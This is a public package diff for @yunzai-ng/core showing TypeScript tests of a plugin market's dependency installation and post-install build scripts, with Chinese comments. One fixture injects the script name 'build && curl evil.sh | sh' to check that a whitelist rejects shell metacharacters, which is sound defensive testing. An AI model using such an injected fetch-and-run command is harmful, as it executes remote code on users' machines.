@yunzai-ng/core 0.1.1 → 0.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (45) hide show
  1. package/dist/http/client.d.ts.map +1 -1
  2. package/dist/http/client.js +39 -3
  3. package/dist/http/client.js.map +1 -1
  4. package/dist/index.d.ts +1 -0
  5. package/dist/index.d.ts.map +1 -1
  6. package/dist/index.js +1 -0
  7. package/dist/index.js.map +1 -1
  8. package/dist/platform/paths.d.ts +10 -0
  9. package/dist/platform/paths.d.ts.map +1 -1
  10. package/dist/platform/paths.js +50 -7
  11. package/dist/platform/paths.js.map +1 -1
  12. package/dist/plugin/context.d.ts +3 -0
  13. package/dist/plugin/context.d.ts.map +1 -1
  14. package/dist/plugin/context.js +18 -2
  15. package/dist/plugin/context.js.map +1 -1
  16. package/dist/plugin/market.d.ts +119 -8
  17. package/dist/plugin/market.d.ts.map +1 -1
  18. package/dist/plugin/market.js +183 -22
  19. package/dist/plugin/market.js.map +1 -1
  20. package/dist/plugin/pm.d.ts +82 -0
  21. package/dist/plugin/pm.d.ts.map +1 -0
  22. package/dist/plugin/pm.js +129 -0
  23. package/dist/plugin/pm.js.map +1 -0
  24. package/dist/server/api.d.ts.map +1 -1
  25. package/dist/server/api.js +54 -5
  26. package/dist/server/api.js.map +1 -1
  27. package/dist/server/browse.d.ts.map +1 -1
  28. package/dist/server/browse.js +10 -2
  29. package/dist/server/browse.js.map +1 -1
  30. package/package.json +2 -2
  31. package/src/http/client.test.ts +75 -1
  32. package/src/http/client.ts +40 -3
  33. package/src/index.ts +1 -0
  34. package/src/platform/paths.test.ts +166 -0
  35. package/src/platform/paths.ts +52 -7
  36. package/src/plugin/context.test.ts +29 -1
  37. package/src/plugin/context.ts +18 -2
  38. package/src/plugin/market.test.ts +375 -2
  39. package/src/plugin/market.ts +278 -25
  40. package/src/plugin/pm.test.ts +73 -0
  41. package/src/plugin/pm.ts +163 -0
  42. package/src/server/api.test.ts +72 -2
  43. package/src/server/api.ts +65 -5
  44. package/src/server/browse.test.ts +18 -10
  45. package/src/server/browse.ts +11 -2
@@ -17,6 +17,7 @@ import type { HttpClient } from "@yunzai-ng/types"
17
17
  import { isDirectory, isFile } from "../util/fs.js"
18
18
  import { fakeLogger, type FakeLogger } from "../testing/fake.js"
19
19
  import { buildTarGz } from "./tar.js"
20
+ import type { PmRunner, PmTask } from "./pm.js"
20
21
  import {
21
22
  PluginMarket,
22
23
  applyMirror,
@@ -135,6 +136,52 @@ function stubGit(options: StubGitOptions = {}): StubGit {
135
136
  return { run, calls, cmds: () => calls.map(item => item.args[0] ?? "") }
136
137
  }
137
138
 
139
+ /** 一次包管理器调用的全部入参 */
140
+ interface PmCall {
141
+ /** 动作 */
142
+ task: PmTask
143
+ /** 工作目录 */
144
+ cwd: string
145
+ }
146
+
147
+ /** 包管理器替身的可编程行为 */
148
+ interface StubPmOptions {
149
+ /** 令某个动作失败:`install`,或某个 script 名 */
150
+ fail?: { at: string; message: string }
151
+ /** 某个动作执行后的副作用,用于模拟 `build` 产出了 `dist/` */
152
+ effect?: (task: PmTask) => Promise<void> | void
153
+ }
154
+
155
+ /** 包管理器替身与其调用记录 */
156
+ interface StubPm {
157
+ /** 注入 `MarketDeps.pm` 的执行器 */
158
+ run: PmRunner
159
+ /** 依次收到的调用 */
160
+ calls: PmCall[]
161
+ }
162
+
163
+ /**
164
+ * 造一个不起子进程的包管理器
165
+ *
166
+ * 记下**下发了什么**:装依赖带不带 devDependencies、跑的是哪几个 script、以什么次序。
167
+ * 真实的 pnpm 只能告诉你「最后目录里有 node_modules」,而少跑一个 `build`、或用
168
+ * `--prod` 装完再去跑 `build`,同样能得到一个看着对的目录 —— 直到插件加载时报出一条
169
+ * 与原因无关的错。故此处逐条比对入参。
170
+ * @param options 可编程行为
171
+ * @returns 执行器与调用记录
172
+ */
173
+ function stubPm(options: StubPmOptions = {}): StubPm {
174
+ const calls: PmCall[] = []
175
+ const run: PmRunner = async (task, cwd) => {
176
+ calls.push({ task, cwd })
177
+ const at = task.kind === "install" ? "install" : task.script
178
+ if (options.fail?.at === at) throw new Error(options.fail.message)
179
+ await options.effect?.(task)
180
+ return "pnpm"
181
+ }
182
+ return { run, calls }
183
+ }
184
+
138
185
  /** 一套市场及其周边 */
139
186
  interface Harness {
140
187
  /** 市场 */
@@ -159,13 +206,15 @@ let harness: Harness | undefined
159
206
  * @param settings 配置覆盖
160
207
  * @param reuse 复用已有的临时目录(用于验证磁盘缓存跨实例生效)
161
208
  * @param git git 执行器替身,不给则连接一个「本机没有 git」的桩
209
+ * @param pm 包管理器替身,不给则连接一个「不该被调用」的桩
162
210
  * @returns 市场与周边
163
211
  */
164
212
  async function makeHarness(
165
213
  routes: Record<string, StubReply>,
166
214
  settings: Partial<MarketSettings> = {},
167
215
  reuse?: Harness,
168
- git?: GitRunner
216
+ git?: GitRunner,
217
+ pm?: PmRunner
169
218
  ): Promise<Harness> {
170
219
  const root = reuse?.root ?? (await mkdtemp(join(tmpdir(), "yzng-market-")))
171
220
  const pluginsDir = join(root, "plugins")
@@ -195,7 +244,15 @@ async function makeHarness(
195
244
  * 归档 —— 两条完全不同的代码路径,而用例里看不出走的是哪条。抛错即令 `#hasGit()`
196
245
  * 记下 false,归档那条路由此成为确定的行为。
197
246
  */
198
- git: git ?? (() => Promise.reject(new Error("用例未注入 git 替身")))
247
+ git: git ?? (() => Promise.reject(new Error("用例未注入 git 替身"))),
248
+ /*
249
+ * 不给替身的用例一律当作「不该跑包管理器」
250
+ *
251
+ * 缺省若落到真实的 pnpm 上,用例会在开发机上起子进程去联网装依赖 —— 慢、看网络脸色,
252
+ * 且**装出来的东西落在临时目录里,afterEach 一删了之,于是断言什么也验不到**。抛错则
253
+ * 令「本不该跑却跑了」当场失败,那正是要钉住的:缺省不跑依赖是一条行为约定。
254
+ */
255
+ pm: pm ?? (() => Promise.reject(new Error("用例未注入包管理器替身")))
199
256
  })
200
257
  harness = { market, pluginsDir, cacheFile, logger, calls, root }
201
258
  return harness
@@ -779,3 +836,319 @@ describe("PluginMarket 卸载", () => {
779
836
  await expect(h.market.remove("../..")).rejects.toThrow("不合法")
780
837
  })
781
838
  })
839
+
840
+ /** 声明了装后步骤的索引:从源码装、要 build 才有产物的那一类 */
841
+ const SETUP_INDEX = {
842
+ plugins: [
843
+ {
844
+ name: "demo",
845
+ title: "示例",
846
+ version: "1.0.0",
847
+ install: { type: "tarball", url: TARBALL },
848
+ setup: { scripts: ["build", "install:browser"] }
849
+ }
850
+ ]
851
+ }
852
+
853
+ describe("装依赖与装后步骤", () => {
854
+ it("不要求时一个包管理器命令都不下发,仅提示需自行安装", async () => {
855
+ const pm = stubPm()
856
+ const h = await makeHarness(
857
+ {
858
+ "https://example.com/index.json": { json: INDEX },
859
+ [TARBALL]: { bytes: pluginArchive({ version: "1.0.0", dependencies: { lodash: "^4" } }) }
860
+ },
861
+ {},
862
+ undefined,
863
+ undefined,
864
+ pm.run
865
+ )
866
+
867
+ const result = await h.market.install("demo")
868
+
869
+ expect(pm.calls).toEqual([])
870
+ expect(result).toMatchObject({ needsDependencies: true })
871
+ expect(result.installedDeps).toBeUndefined()
872
+ expect(h.logger.lines.some(line => line.includes("声明了运行时依赖"))).toBe(true)
873
+ })
874
+
875
+ it("要求时在插件目录内装依赖,缺省不带 devDependencies", async () => {
876
+ const pm = stubPm()
877
+ const h = await makeHarness(
878
+ {
879
+ "https://example.com/index.json": { json: INDEX },
880
+ [TARBALL]: { bytes: pluginArchive({ version: "1.0.0", dependencies: { lodash: "^4" } }) }
881
+ },
882
+ {},
883
+ undefined,
884
+ undefined,
885
+ pm.run
886
+ )
887
+
888
+ const result = await h.market.install("demo", { dependencies: true })
889
+
890
+ expect(pm.calls).toEqual([{ task: { kind: "install", dev: false }, cwd: join(h.pluginsDir, "demo") }])
891
+ expect(result).toMatchObject({ needsDependencies: false, installedDeps: true, packageManager: "pnpm" })
892
+ // 装成了就不该再提示「需自行安装」——那句话在此处是假的
893
+ expect(h.logger.lines.some(line => line.includes("需在其目录内自行执行"))).toBe(false)
894
+ })
895
+
896
+ it("**没声明依赖的插件不跑包管理器**,即便要求了", async () => {
897
+ const pm = stubPm()
898
+ const h = await makeHarness(
899
+ {
900
+ "https://example.com/index.json": { json: INDEX },
901
+ [TARBALL]: { bytes: pluginArchive({ version: "1.0.0" }) }
902
+ },
903
+ {},
904
+ undefined,
905
+ undefined,
906
+ pm.run
907
+ )
908
+
909
+ const result = await h.market.install("demo", { dependencies: true })
910
+
911
+ // 无依赖可装时跑一趟只是白等一次网络往返
912
+ expect(pm.calls).toEqual([])
913
+ expect(result).toMatchObject({ needsDependencies: false })
914
+ })
915
+
916
+ it("声明了装后步骤时连 devDependencies 一起装,再按序跑脚本", async () => {
917
+ const pm = stubPm()
918
+ const h = await makeHarness(
919
+ {
920
+ "https://example.com/index.json": { json: SETUP_INDEX },
921
+ [TARBALL]: { bytes: pluginArchive({ version: "1.0.0", dependencies: { lodash: "^4" } }) }
922
+ },
923
+ {},
924
+ undefined,
925
+ undefined,
926
+ pm.run
927
+ )
928
+
929
+ const result = await h.market.install("demo", { dependencies: true })
930
+
931
+ /*
932
+ * 这一条钉两件事,错任一件都只在插件加载时才报一条离原因很远的错
933
+ *
934
+ * 一是 `dev: true` —— `build` 要的编译器在 devDependencies 里,`--prod` 装完再跑
935
+ * `build` 会报「找不到 tsc」。二是脚本的**次序**:`install:browser` 建立在 `build` 之后。
936
+ */
937
+ expect(pm.calls.map(item => item.task)).toEqual([
938
+ { kind: "install", dev: true },
939
+ { kind: "run", script: "build" },
940
+ { kind: "run", script: "install:browser" }
941
+ ])
942
+ expect(result.ranScripts).toEqual(["build", "install:browser"])
943
+ expect(result.setupError).toBeUndefined()
944
+ })
945
+
946
+ it("**装依赖失败不让整次安装失败**,但脚本一个都不跑", async () => {
947
+ const pm = stubPm({ fail: { at: "install", message: "registry 连不上" } })
948
+ const h = await makeHarness(
949
+ {
950
+ "https://example.com/index.json": { json: SETUP_INDEX },
951
+ [TARBALL]: { bytes: pluginArchive({ version: "1.0.0", dependencies: { lodash: "^4" } }) }
952
+ },
953
+ {},
954
+ undefined,
955
+ undefined,
956
+ pm.run
957
+ )
958
+
959
+ const result = await h.market.install("demo", { dependencies: true })
960
+
961
+ // 插件目录已经就位,抛出去会让使用者以为「什么都没装成」而去重装
962
+ expect(await isFile(join(h.pluginsDir, "demo", "index.js"))).toBe(true)
963
+ expect(result).toMatchObject({ needsDependencies: true, installedDeps: false })
964
+ expect(result.dependencyError).toContain("registry 连不上")
965
+ // 脚本多半建立在依赖之上,接着跑只会得到第二条更难懂的错误
966
+ expect(pm.calls.map(item => item.task.kind)).toEqual(["install"])
967
+ expect(result.ranScripts).toBeUndefined()
968
+ })
969
+
970
+ it("脚本失败即停,已跑完的那些如实记下", async () => {
971
+ const pm = stubPm({ fail: { at: "build", message: "TS2339: 类型上不存在该属性" } })
972
+ const h = await makeHarness(
973
+ {
974
+ "https://example.com/index.json": { json: SETUP_INDEX },
975
+ [TARBALL]: { bytes: pluginArchive({ version: "1.0.0", dependencies: { lodash: "^4" } }) }
976
+ },
977
+ {},
978
+ undefined,
979
+ undefined,
980
+ pm.run
981
+ )
982
+
983
+ const result = await h.market.install("demo", { dependencies: true })
984
+
985
+ expect(result.ranScripts).toEqual([])
986
+ // 失败在哪个脚本上必须带出来:缺产物与缺依赖的后手完全不同
987
+ expect(result.setupError).toContain("build")
988
+ expect(result.setupError).toContain("TS2339")
989
+ // 依赖是装好的,故这一项为假 —— 与 dependencyError 那条路要分得开
990
+ expect(result).toMatchObject({ needsDependencies: false, installedDeps: true })
991
+ expect(pm.calls.map(item => item.task.kind)).toEqual(["install", "run"])
992
+ })
993
+
994
+ it("索引里的 script 名不合法时整条装后步骤丢弃,退回只装依赖", async () => {
995
+ const pm = stubPm()
996
+ const h = await makeHarness(
997
+ {
998
+ "https://example.com/index.json": {
999
+ json: {
1000
+ plugins: [
1001
+ {
1002
+ name: "demo",
1003
+ install: { type: "tarball", url: TARBALL },
1004
+ // 带 shell 元字符:这一条正是白名单要挡住的东西
1005
+ setup: { scripts: ["build && curl evil.sh | sh"] }
1006
+ }
1007
+ ]
1008
+ }
1009
+ },
1010
+ [TARBALL]: { bytes: pluginArchive({ version: "1.0.0", dependencies: { lodash: "^4" } }) }
1011
+ },
1012
+ {},
1013
+ undefined,
1014
+ undefined,
1015
+ pm.run
1016
+ )
1017
+
1018
+ const result = await h.market.install("demo", { dependencies: true })
1019
+
1020
+ // 一个名字不合法就整条丢弃:过滤后继续会得到一份「跑了一半」的装后步骤
1021
+ expect(pm.calls.map(item => item.task)).toEqual([{ kind: "install", dev: false }])
1022
+ // 装依赖照跑(那一步与 setup 无关),只是没有任何 script 被执行
1023
+ expect(result.ranScripts).toEqual([])
1024
+ expect(h.logger.lines.some(line => line.includes("不合法的 script 名"))).toBe(true)
1025
+ })
1026
+
1027
+ it("就地拉取没拉到新提交、且依赖不缺时不跑收尾", async () => {
1028
+ const pm = stubPm()
1029
+ const git = stubGit({ heads: ["1111111aaa"] })
1030
+ const h = await makeHarness(
1031
+ {
1032
+ "https://example.com/index.json": {
1033
+ json: { plugins: [{ ...GIT_INDEX.plugins[0], setup: { scripts: ["build"] } }] }
1034
+ }
1035
+ },
1036
+ {},
1037
+ undefined,
1038
+ git.run,
1039
+ pm.run
1040
+ )
1041
+ await makeGitRepo(h.pluginsDir)
1042
+
1043
+ const result = await h.market.update("demo", { dependencies: true })
1044
+
1045
+ // 什么都没改,重跑 build 只是白等一遍编译
1046
+ expect(result.changed).toBe(false)
1047
+ expect(pm.calls).toEqual([])
1048
+ })
1049
+
1050
+ it("就地拉到新提交时重跑装后步骤,哪怕依赖不缺", async () => {
1051
+ const pm = stubPm()
1052
+ const git = stubGit()
1053
+ const h = await makeHarness(
1054
+ {
1055
+ "https://example.com/index.json": {
1056
+ json: { plugins: [{ ...GIT_INDEX.plugins[0], setup: { scripts: ["build"] } }] }
1057
+ }
1058
+ },
1059
+ {},
1060
+ undefined,
1061
+ git.run,
1062
+ pm.run
1063
+ )
1064
+ // makeGitRepo 建的目录里已有 node_modules,故依赖不缺
1065
+ await makeGitRepo(h.pluginsDir)
1066
+
1067
+ const result = await h.market.update("demo", { dependencies: true })
1068
+
1069
+ /*
1070
+ * `dist/` 多半被插件仓库 gitignore 掉了:拉来新提交之后 `node_modules` 还在,
1071
+ * 而产物是旧的。此时跳过 build,插件跑的就还是上一版代码,且毫无迹象。
1072
+ */
1073
+ expect(result.changed).toBe(true)
1074
+ expect(pm.calls.map(item => item.task)).toEqual([{ kind: "install", dev: true }, { kind: "run", script: "build" }])
1075
+ })
1076
+ })
1077
+
1078
+ describe("PluginMarket.setup", () => {
1079
+ it("对已装好的目录重跑,即便依赖不缺也跑一遍", async () => {
1080
+ const pm = stubPm()
1081
+ const h = await makeHarness(
1082
+ { "https://example.com/index.json": { json: SETUP_INDEX } },
1083
+ {},
1084
+ undefined,
1085
+ undefined,
1086
+ pm.run
1087
+ )
1088
+ const dir = join(h.pluginsDir, "demo")
1089
+ await mkdir(join(dir, "node_modules"), { recursive: true })
1090
+ await writeFile(join(dir, "package.json"), JSON.stringify({ version: "1.2.3", dependencies: { lodash: "^4" } }), "utf8")
1091
+
1092
+ const result = await h.market.setup("demo")
1093
+
1094
+ /*
1095
+ * 使用者点这个按钮,多半正是因为 package.json 的依赖变过而 node_modules 是旧的
1096
+ *
1097
+ * 那种「旧」从目录存不存在上看不出来,而包管理器自己比对 lock 文件本就是幂等的。
1098
+ */
1099
+ expect(pm.calls.map(item => item.task)).toEqual([
1100
+ { kind: "install", dev: true },
1101
+ { kind: "run", script: "build" },
1102
+ { kind: "run", script: "install:browser" }
1103
+ ])
1104
+ expect(result).toMatchObject({ name: "demo", dir, version: "1.2.3", installedDeps: true })
1105
+ })
1106
+
1107
+ it("索引里没有这个插件也照做,只是不跑装后步骤", async () => {
1108
+ const pm = stubPm()
1109
+ const h = await makeHarness(
1110
+ { "https://example.com/index.json": { json: INDEX } },
1111
+ {},
1112
+ undefined,
1113
+ undefined,
1114
+ pm.run
1115
+ )
1116
+ // 手工放进插件目录的插件:不在任何索引里
1117
+ const dir = join(h.pluginsDir, "handmade")
1118
+ await mkdir(dir, { recursive: true })
1119
+ await writeFile(join(dir, "package.json"), JSON.stringify({ version: "0.1.0", dependencies: { lodash: "^4" } }), "utf8")
1120
+
1121
+ const result = await h.market.setup("handmade")
1122
+
1123
+ // 拿不到条目就拒绝,会让这个按钮恰在最需要它的场合失效
1124
+ expect(pm.calls.map(item => item.task)).toEqual([{ kind: "install", dev: false }])
1125
+ expect(result).toMatchObject({ installedDeps: true, needsDependencies: false })
1126
+ })
1127
+
1128
+ it("目录不存在时抛错,越界名称在此之前即被拒绝", async () => {
1129
+ const h = await makeHarness({ "https://example.com/index.json": { json: INDEX } })
1130
+
1131
+ await expect(h.market.setup("nothere")).rejects.toThrow("不存在")
1132
+ await expect(h.market.setup("../..")).rejects.toThrow("不合法")
1133
+ })
1134
+
1135
+ it("没有 package.json 的插件不跑包管理器", async () => {
1136
+ const pm = stubPm()
1137
+ const h = await makeHarness(
1138
+ { "https://example.com/index.json": { json: INDEX } },
1139
+ {},
1140
+ undefined,
1141
+ undefined,
1142
+ pm.run
1143
+ )
1144
+ const dir = join(h.pluginsDir, "demo")
1145
+ await mkdir(dir, { recursive: true })
1146
+ await writeFile(join(dir, "index.js"), "export default 1", "utf8")
1147
+
1148
+ const result = await h.market.setup("demo")
1149
+
1150
+ // 单文件插件没有依赖可言,跑一趟只会在一个没有 package.json 的目录里报错
1151
+ expect(pm.calls).toEqual([])
1152
+ expect(result).toMatchObject({ needsDependencies: false, version: "0.0.0" })
1153
+ })
1154
+ })